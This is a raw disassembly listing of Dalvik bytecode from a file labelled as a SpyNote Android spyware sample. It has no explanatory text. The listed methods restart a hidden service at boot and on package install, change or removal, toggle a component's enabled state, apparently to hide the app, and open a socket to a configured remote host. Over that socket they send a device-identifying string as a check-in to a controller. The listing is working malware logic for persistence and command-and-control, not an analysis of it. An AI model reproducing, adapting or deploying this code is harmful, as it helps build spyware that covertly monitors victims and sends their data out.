File spynote_11911c2e1baaab2fbc457932fa85ba68d2b6fa66c42a64fe8254923fe35637b9.dex
Function:
    00083ce4
    00083ce4cmf0.c3b5bm90zq.patch.C3::a(android.content.Context):
    00083cf4invoke-virtual {v4}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083cfamove-result-object v0
    00083cfcconst v1, 0x7f0c0021
    00083d02invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083d08move-result-object v0
    00083d0aconst/4 v1, 0x0
    00083d0cinvoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    00083d12move-result v0
    00083d14const/16 v1, 0x31
    00083d18if-ne v0, v1, :cond_2a
    00083d1cinvoke-virtual {v4}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00083d22move-result-object v0
    00083d24new-instance v1, Landroid/content/ComponentName;
    00083d28const-class v2, Lcmf0/c3b5bm90zq/patch/C7;
    00083d2cinvoke-direct {v1, v4, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00083d32invoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getComponentEnabledSetting(Landroid/content/ComponentName;)I
    00083d38move-result v4
    00083d3aconst/4 v2, 0x2
    00083d3cif-eq v4, v2, :cond_2a
    00083d40const/4 v4, 0x1
    00083d42invoke-virtual {v0, v1, v2, v4}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
    00083d48return-void
    00083ce4
    00083d4a
    00083d4a struct code_item_padding
    00083d4a padding uint16 0x0000
    00083d4c
    00083d4c struct try_item
    00083d4c start_addr uint32 0x83cf4
    00083d50 insn_count int 42
    00083d52 handler_off uint16 0x83d55
    00083d54
    00083d54 struct encoded_catch_handler_list
    00083d54 size int 1
    00083d55
    00083d55 struct encoded_catch_handler ← 0x83d52
    00083d55 size int64 1
    00083d56 handlers[0].type_idx int 0x5994
    00083d58 handlers[0].addr uint32 0x83d48
    00083d59
    00083d59 // align 0x4
    00083d5c
    00083d5ccmf0.c3b5bm90zq.patch.C3::a(java.lang.Class, android.content.Context):
    00083d6cconst-string v0, "activity"
    00083d70invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    00083d76move-result-object v4
    00083d78check-cast v4, Landroid/app/ActivityManager;
    00083d7cconst v0, 0x7fffffff
    00083d82invoke-virtual {v4, v0}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
    00083d88move-result-object v4
    00083d8ainvoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
    00083d90move-result-object v4
    00083d92invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
    00083d98move-result v0
    00083d9aif-eqz v0, :cond_31
    00083d9einvoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
    00083da4move-result-object v0
    00083da6check-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
    00083daainvoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
    00083db0move-result-object v1
    00083db2iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
    00083db6invoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
    00083dbcmove-result-object v0
    00083dbeinvoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083dc4move-result v0
    00083dc6if-eqz v0, :cond_13
    00083dcaconst/4 v3, 0x1
    00083dccreturn v3
    00083dceconst/4 v3, 0x0
    00083dd0return v3
    00083d5c
    00083dd2
    00083dd2 // align 0x4
    00083dd4
    00083dd4cmf0.c3b5bm90zq.patch.C3::b(android.content.Context):
    00083de4invoke-virtual {v4}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083deamove-result-object v0
    00083decconst v1, 0x7f0c0021
    00083df2invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083df8move-result-object v0
    00083dfaconst/4 v1, 0x0
    00083dfcinvoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    00083e02move-result v0
    00083e04const/16 v1, 0x31
    00083e08if-eq v0, v1, :cond_2a
    00083e0cinvoke-virtual {v4}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
    00083e12move-result-object v0
    00083e14new-instance v1, Landroid/content/ComponentName;
    00083e18const-class v2, Lcmf0/c3b5bm90zq/patch/C7;
    00083e1cinvoke-direct {v1, v4, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00083e22invoke-virtual {v0, v1}, Landroid/content/pm/PackageManager;->getComponentEnabledSetting(Landroid/content/ComponentName;)I
    00083e28move-result v4
    00083e2aconst/4 v2, 0x2
    00083e2cif-eq v4, v2, :cond_2a
    00083e30const/4 v4, 0x1
    00083e32invoke-virtual {v0, v1, v2, v4}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
    00083e38return-void
    00083dd4
    00083e3a
    00083e3a struct code_item_padding
    00083e3a padding uint16 0x0000
    00083e3c
    00083e3c struct try_item
    00083e3c start_addr uint32 0x83de4
    00083e40 insn_count int 42
    00083e42 handler_off uint16 0x83e45
    00083e44
    00083e44 struct encoded_catch_handler_list
    00083e44 size int 1
    00083e45
    00083e45 struct encoded_catch_handler ← 0x83e42
    00083e45 size int64 1
    00083e46 handlers[0].type_idx int 0x5994
    00083e48 handlers[0].addr uint32 0x83e38
    00083e49
    00083e49 // align 0x4
    00083e4c
    00083e4ccmf0.c3b5bm90zq.patch.C3::onReceive(android.content.Context, android.content.Intent):
    00083e5cinvoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083e62move-result-object v0
    00083e64const-string v1, "android.intent.action.PACKAGE_ADDED"
    00083e68invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083e6emove-result v0
    00083e70if-nez v0, :cond_3c
    00083e74invoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083e7amove-result-object v0
    00083e7cconst-string v1, "android.intent.action.PACKAGE_CHANGED"
    00083e80invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083e86move-result v0
    00083e88if-nez v0, :cond_3c
    00083e8cinvoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083e92move-result-object v0
    00083e94const-string v1, "android.intent.action.PACKAGE_INSTALL"
    00083e98invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083e9emove-result v0
    00083ea0if-nez v0, :cond_3c
    00083ea4invoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083eaamove-result-object v0
    00083eacconst-string v1, "android.intent.action.PACKAGE_REPLACED"
    00083eb0invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083eb6move-result v0
    00083eb8if-nez v0, :cond_3c
    00083ebcinvoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083ec2move-result-object v0
    00083ec4const-string v1, "android.intent.action.PACKAGE_REMOVED"
    00083ec8invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083ecemove-result v0
    00083ed0if-eqz v0, :cond_fa
    00083ed4invoke-virtual {v9}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083edamove-result-object v0
    00083edcconst v1, 0x7f0c0021
    00083ee2invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083ee8move-result-object v0
    00083eeaconst/4 v1, 0x3
    00083eecinvoke-virtual {v0, v1}, Ljava/lang/String;->charAt(I)C
    00083ef2move-result v1
    00083ef4const/4 v2, 0x0
    00083ef6const/16 v3, 0x31
    00083efaconst/4 v4, 0x1
    00083efcif-ne v1, v3, :cond_64
    00083f00new-instance v1, Lcmf0/c3b5bm90zq/patch/c;
    00083f04invoke-direct {v1, v9}, Lcmf0/c3b5bm90zq/patch/c;-><init>(Landroid/content/Context;)V
    00083f0aiput-object v1, v8, Lcmf0/c3b5bm90zq/patch/C3;->a:Lcmf0/c3b5bm90zq/patch/c;
    00083f0eiget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C3;->a:Lcmf0/c3b5bm90zq/patch/c;
    00083f12invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/c;->a()Z
    00083f18move-result v1
    00083f1aif-eqz v1, :cond_62
    00083f1egoto :goto_64
    00083f20const/4 v1, 0x0
    00083f22goto :goto_65
    00083f24const/4 v1, 0x1
    00083f26invoke-virtual {v0, v4}, Ljava/lang/String;->charAt(I)C
    00083f2cmove-result v5
    00083f2eif-ne v5, v3, :cond_72
    00083f32sget-boolean v5, Lcmf0/c3b5bm90zq/patch/C11;->j:Z
    00083f36if-ne v5, v4, :cond_70
    00083f3agoto :goto_72
    00083f3cconst/4 v5, 0x0
    00083f3egoto :goto_73
    00083f40const/4 v5, 0x1
    00083f42const/high16 v6, 0x7f0c0000
    00083f46if-ne v1, v4, :cond_a8
    00083f4aif-ne v5, v4, :cond_a8
    00083f4einvoke-virtual {v10}, Landroid/content/Intent;->getData()Landroid/net/Uri;
    00083f54move-result-object v1
    00083f56invoke-virtual {v1}, Landroid/net/Uri;->getSchemeSpecificPart()Ljava/lang/String;
    00083f5cmove-result-object v1
    00083f5einvoke-virtual {v9}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083f64move-result-object v5
    00083f66invoke-virtual {v5, v6}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083f6cmove-result-object v5
    00083f6econst-string v7, ".."
    00083f72invoke-virtual {v5, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083f78move-result v7
    00083f7aif-nez v7, :cond_a8
    00083f7einvoke-virtual {v1}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
    00083f84move-result-object v1
    00083f86invoke-virtual {v5}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
    00083f8cmove-result-object v7
    00083f8einvoke-virtual {v1, v7}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083f94move-result v1
    00083f96if-eqz v1, :cond_a8
    00083f9ainvoke-static {v9, v5}, Lcmf0/c3b5bm90zq/patch/C3;->a(Landroid/content/Context;Ljava/lang/String;)Z
    00083fa0move-result v1
    00083fa2if-ne v1, v4, :cond_a8
    00083fa6invoke-virtual {v8, v9}, Lcmf0/c3b5bm90zq/patch/C3;->a(Landroid/content/Context;)V
    00083facinvoke-virtual {v10}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    00083fb2move-result-object v1
    00083fb4const-string v4, "android.intent.action.PACKAGE_REMOVED"
    00083fb8invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083fbemove-result v1
    00083fc0if-eqz v1, :cond_e3
    00083fc4invoke-virtual {v10}, Landroid/content/Intent;->getData()Landroid/net/Uri;
    00083fcamove-result-object v10
    00083fccinvoke-virtual {v10}, Landroid/net/Uri;->getSchemeSpecificPart()Ljava/lang/String;
    00083fd2move-result-object v10
    00083fd4invoke-virtual {v9}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
    00083fdamove-result-object v1
    00083fdcinvoke-virtual {v1, v6}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00083fe2move-result-object v1
    00083fe4const-string v4, ".."
    00083fe8invoke-virtual {v1, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00083feemove-result v4
    00083ff0if-nez v4, :cond_e3
    00083ff4invoke-virtual {v10}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
    00083ffamove-result-object v10
    00083ffcinvoke-virtual {v1}, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
    00084002move-result-object v1
    00084004invoke-virtual {v10, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    0008400amove-result v10
    0008400cif-eqz v10, :cond_e3
    00084010invoke-virtual {v0, v2}, Ljava/lang/String;->charAt(I)C
    00084016move-result v10
    00084018if-eq v10, v3, :cond_e3
    0008401cinvoke-virtual {v8, v9}, Lcmf0/c3b5bm90zq/patch/C3;->b(Landroid/content/Context;)V
    00084022const-class v10, Lcmf0/c3b5bm90zq/patch/C11;
    00084026invoke-virtual {v8, v10, v9}, Lcmf0/c3b5bm90zq/patch/C3;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    0008402cmove-result v10
    0008402eif-nez v10, :cond_fa
    00084032new-instance v10, Landroid/content/Intent;
    00084036const-class v0, Lcmf0/c3b5bm90zq/patch/C11;
    0008403ainvoke-direct {v10, v9, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    00084040invoke-virtual {v9, v10}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    00084046goto :goto_fa
    00084048move-exception v9
    0008404ainvoke-virtual {v9}, Ljava/lang/Exception;->printStackTrace()V
    00084050return-void
    00083e4c
    00084052
    00084052 struct code_item_padding
    00084052 padding uint16 0x0000
    00084054
    00084054 struct try_item
    00084054 start_addr uint32 0x83ed4
    00084058 insn_count int 167
    0008405a handler_off uint16 0x84065
    0008405c
    0008405c struct try_item
    0008405c start_addr uint32 0x84022
    00084060 insn_count int 18
    00084062 handler_off uint16 0x8406a
    00084064
    00084064 struct encoded_catch_handler_list
    00084064 size int 2
    00084065
    00084065 struct encoded_catch_handler ← 0x8405a
    00084065 size int64 1
    00084066 handlers[0].type_idx int 0x5994
    00084068 handlers[0].addr uint32 0x84048
    0008406a
    0008406a struct encoded_catch_handler ← 0x84062
    0008406a size int64 1
    0008406b handlers[0].type_idx int 0x5994
    0008406d handlers[0].addr uint32 0x84050
    0008406f
    0008406f // align 0x10
    00084070
    00084070cmf0.c3b5bm90zq.patch.C4::<init>():
    00084080invoke-direct {v0}, Landroid/content/BroadcastReceiver;-><init>()V
    00084086return-void
    00084070
    00084088
    00084088cmf0.c3b5bm90zq.patch.C4::a(android.content.Context):
    00084098const-class v0, Lcmf0/c3b5bm90zq/patch/C11;
    0008409cinvoke-virtual {v2, v0, v3}, Lcmf0/c3b5bm90zq/patch/C4;->a(Ljava/lang/Class;Landroid/content/Context;)Z
    000840a2move-result v0
    000840a4if-nez v0, :cond_12
    000840a8new-instance v0, Landroid/content/Intent;
    000840acconst-class v1, Lcmf0/c3b5bm90zq/patch/C11;
    000840b0invoke-direct {v0, v3, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
    000840b6invoke-virtual {v3, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
    000840bcreturn-void
    00084088
    000840be
    000840be struct code_item_padding
    000840be padding uint16 0x0000
    000840c0
    000840c0 struct try_item
    000840c0 start_addr uint32 0x84098
    000840c4 insn_count int 18
    000840c6 handler_off uint16 0x840c9
    000840c8
    000840c8 struct encoded_catch_handler_list
    000840c8 size int 1
    000840c9
    000840c9 struct encoded_catch_handler ← 0x840c6
    000840c9 size int64 1
    000840ca handlers[0].type_idx int 0x5994
    000840cc handlers[0].addr uint32 0x840bc
    000840cd
    000840cd // align 0x10
    000840d0
    000840d0cmf0.c3b5bm90zq.patch.C4::a(java.lang.Class, android.content.Context):
    000840e0const-string v0, "activity"
    000840e4invoke-virtual {v4, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
    000840eamove-result-object v4
    000840eccheck-cast v4, Landroid/app/ActivityManager;
    000840f0const v0, 0x7fffffff
    000840f6invoke-virtual {v4, v0}, Landroid/app/ActivityManager;->getRunningServices(I)Ljava/util/List;
    000840fcmove-result-object v4
    000840feinvoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
    00084104move-result-object v4
    00084106invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
    0008410cmove-result v0
    0008410eif-eqz v0, :cond_31
    00084112invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
    00084118move-result-object v0
    0008411acheck-cast v0, Landroid/app/ActivityManager$RunningServiceInfo;
    0008411einvoke-virtual {v3}, Ljava/lang/Class;->getName()Ljava/lang/String;
    00084124move-result-object v1
    00084126iget-object v0, v0, Landroid/app/ActivityManager$RunningServiceInfo;->service:Landroid/content/ComponentName;
    0008412ainvoke-virtual {v0}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
    00084130move-result-object v0
    00084132invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
    00084138move-result v0
    0008413aif-eqz v0, :cond_13
    0008413econst/4 v3, 0x1
    00084140return v3
    00084142const/4 v3, 0x0
    00084144return v3
    000840d0
    00084146
    00084146 // align 0x8
    00084148
    00084148cmf0.c3b5bm90zq.patch.C4::onReceive(android.content.Context, android.content.Intent):
    00084158invoke-virtual {v3}, Landroid/content/Intent;->getAction()Ljava/lang/String;
    0008415emove-result-object v3
    00084160const-string v0, "android.intent.action.BOOT_COMPLETED"
    00084164invoke-virtual {v3, v0}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
    0008416amove-result v3
    0008416cif-eqz v3, :cond_f
    00084170invoke-direct {v1, v2}, Lcmf0/c3b5bm90zq/patch/C4;->a(Landroid/content/Context;)V
    00084176return-void
    00084148
    00084178
    00084178cmf0.c3b5bm90zq.patch.C5$1::<init>(cmf0.c3b5bm90zq.patch.C5, java.lang.String, int):
    00084188iput-object v1, v0, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    0008418ciput-object v2, v0, Lcmf0/c3b5bm90zq/patch/C5$1;->a:Ljava/lang/String;
    00084190iput v3, v0, Lcmf0/c3b5bm90zq/patch/C5$1;->b:I
    00084194invoke-direct {v0}, Ljava/lang/Object;-><init>()V
    0008419areturn-void
    00084178
    0008419c
    0008419ccmf0.c3b5bm90zq.patch.C5$1::run():
    000841acsget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000841b0iget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000841b4invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    000841bamove-result-object v1
    000841bcsget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    000841c0const-wide/16 v4, 0x59
    000841c4invoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    000841camove-result-object v2
    000841ccinvoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    000841d2move-result-object v0
    000841d4const-string v1, ""
    000841d8if-ne v0, v1, :cond_26
    000841dciget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000841e0invoke-virtual {v0}, Lcmf0/c3b5bm90zq/patch/C5;->getResources()Landroid/content/res/Resources;
    000841e6move-result-object v0
    000841e8const v1, 0x7f0c0025
    000841eeinvoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    000841f4move-result-object v0
    000841f6goto :goto_38
    000841f8sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000841fciget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084200invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    00084206move-result-object v1
    00084208sget-wide v2, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008420cinvoke-static {v2, v3, v4, v5}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084212move-result-object v2
    00084214invoke-virtual {v0, v1, v2}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    0008421amove-result-object v0
    0008421csget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    00084220iget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084224invoke-virtual {v2}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    0008422amove-result-object v2
    0008422csget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    00084230const-wide/16 v5, 0x56
    00084234invoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    0008423amove-result-object v3
    0008423cinvoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    00084242move-result-object v1
    00084244const-string v2, ""
    00084248if-ne v1, v2, :cond_5e
    0008424ciget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084250invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C5;->getResources()Landroid/content/res/Resources;
    00084256move-result-object v1
    00084258const v2, 0x7f0c0023
    0008425einvoke-virtual {v1, v2}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
    00084264move-result-object v1
    00084266goto :goto_70
    00084268sget-object v1, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    0008426ciget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084270invoke-virtual {v2}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    00084276move-result-object v2
    00084278sget-wide v3, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008427cinvoke-static {v3, v4, v5, v6}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084282move-result-object v3
    00084284invoke-virtual {v1, v2, v3}, Lcmf0/c3b5bm90zq/patch/a;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
    0008428amove-result-object v1
    0008428ciget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->a:Ljava/lang/String;
    00084290invoke-static {v2}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
    00084296move-result-object v2
    00084298new-instance v3, Ljava/net/InetSocketAddress;
    0008429ciget v4, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->b:I
    000842a0invoke-direct {v3, v2, v4}, Ljava/net/InetSocketAddress;-><init>(Ljava/net/InetAddress;I)V
    000842a6new-instance v2, Ljava/net/Socket;
    000842aainvoke-direct {v2}, Ljava/net/Socket;-><init>()V
    000842b0invoke-static {v2}, Lcmf0/c3b5bm90zq/patch/C5;->a(Ljava/net/Socket;)Ljava/net/Socket;
    000842b6invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    000842bcmove-result-object v2
    000842beconst v4, 0xea5f
    000842c4invoke-virtual {v2, v3, v4}, Ljava/net/Socket;->connect(Ljava/net/SocketAddress;I)V
    000842caiget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000842ceinvoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    000842d4move-result-object v3
    000842d6invoke-virtual {v3}, Ljava/net/Socket;->isConnected()Z
    000842dcmove-result v3
    000842deiput-boolean v3, v2, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
    000842e2iget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000842e6iget-boolean v2, v2, Lcmf0/c3b5bm90zq/patch/C5;->l:Z
    000842eaconst/4 v3, 0x1
    000842ecif-ne v2, v3, :cond_128
    000842f0iget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000842f4invoke-static {v2, v3}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;Z)Z
    000842fanew-instance v2, Lcmf0/c3b5bm90zq/patch/C5$a;
    000842feiget-object v4, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084302const/4 v5, 0x0
    00084304invoke-direct {v2, v4, v5}, Lcmf0/c3b5bm90zq/patch/C5$a;-><init>(Lcmf0/c3b5bm90zq/patch/C5;Lcmf0/c3b5bm90zq/patch/C5$1;)V
    0008430aconst/4 v4, 0x0
    0008430cnew-array v4, v4, [Ljava/lang/Object;
    00084310invoke-virtual {v2, v4}, Lcmf0/c3b5bm90zq/patch/C5$a;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
    00084316invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    0008431cmove-result-object v2
    0008431einvoke-virtual {v2, v3}, Ljava/net/Socket;->setTcpNoDelay(Z)V
    00084324invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    0008432amove-result-object v2
    0008432cinvoke-virtual {v2, v3}, Ljava/net/Socket;->setKeepAlive(Z)V
    00084332invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    00084338move-result-object v2
    0008433aconst/16 v3, 0x3ff
    0008433einvoke-virtual {v2, v3}, Ljava/net/Socket;->setSendBufferSize(I)V
    00084344invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    0008434amove-result-object v2
    0008434cinvoke-virtual {v2, v3}, Ljava/net/Socket;->setReceiveBufferSize(I)V
    00084352iget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084356invoke-static {}, Lcmf0/c3b5bm90zq/patch/C5;->d()Ljava/net/Socket;
    0008435cmove-result-object v3
    0008435einvoke-virtual {v3}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
    00084364move-result-object v3
    00084366invoke-static {v2, v3}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;Ljava/io/OutputStream;)Ljava/io/OutputStream;
    0008436ciget-object v2, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    00084370new-instance v3, Ljava/lang/StringBuilder;
    00084374invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
    0008437asget-wide v4, Lcmf0/c3b5bm90zq/patch/C11;->m:J
    0008437econst-wide/16 v6, 0x46
    00084382invoke-static {v4, v5, v6, v7}, Lcmf0/c3b5bm90zq/patch/C11;->a(JJ)Ljava/lang/String;
    00084388move-result-object v4
    0008438ainvoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00084390sget-object v4, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00084394invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008439ainvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843a0sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000843a4invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843aainvoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843b0sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000843b4invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843basget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->a:Lcmf0/c3b5bm90zq/patch/a;
    000843beiget-object v1, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000843c2invoke-virtual {v1}, Lcmf0/c3b5bm90zq/patch/C5;->getApplicationContext()Landroid/content/Context;
    000843c8move-result-object v1
    000843cainvoke-virtual {v0, v1}, Lcmf0/c3b5bm90zq/patch/a;->d(Landroid/content/Context;)Ljava/lang/String;
    000843d0move-result-object v0
    000843d2invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843d8sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    000843dcinvoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    000843e2invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    000843e8move-result-object v0
    000843eainvoke-virtual {v2, v0}, Lcmf0/c3b5bm90zq/patch/C5;->a(Ljava/lang/String;)V
    000843f0goto :goto_12e
    000843f2iget-object v0, v8, Lcmf0/c3b5bm90zq/patch/C5$1;->c:Lcmf0/c3b5bm90zq/patch/C5;
    000843f6invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C5;->a(Lcmf0/c3b5bm90zq/patch/C5;)V
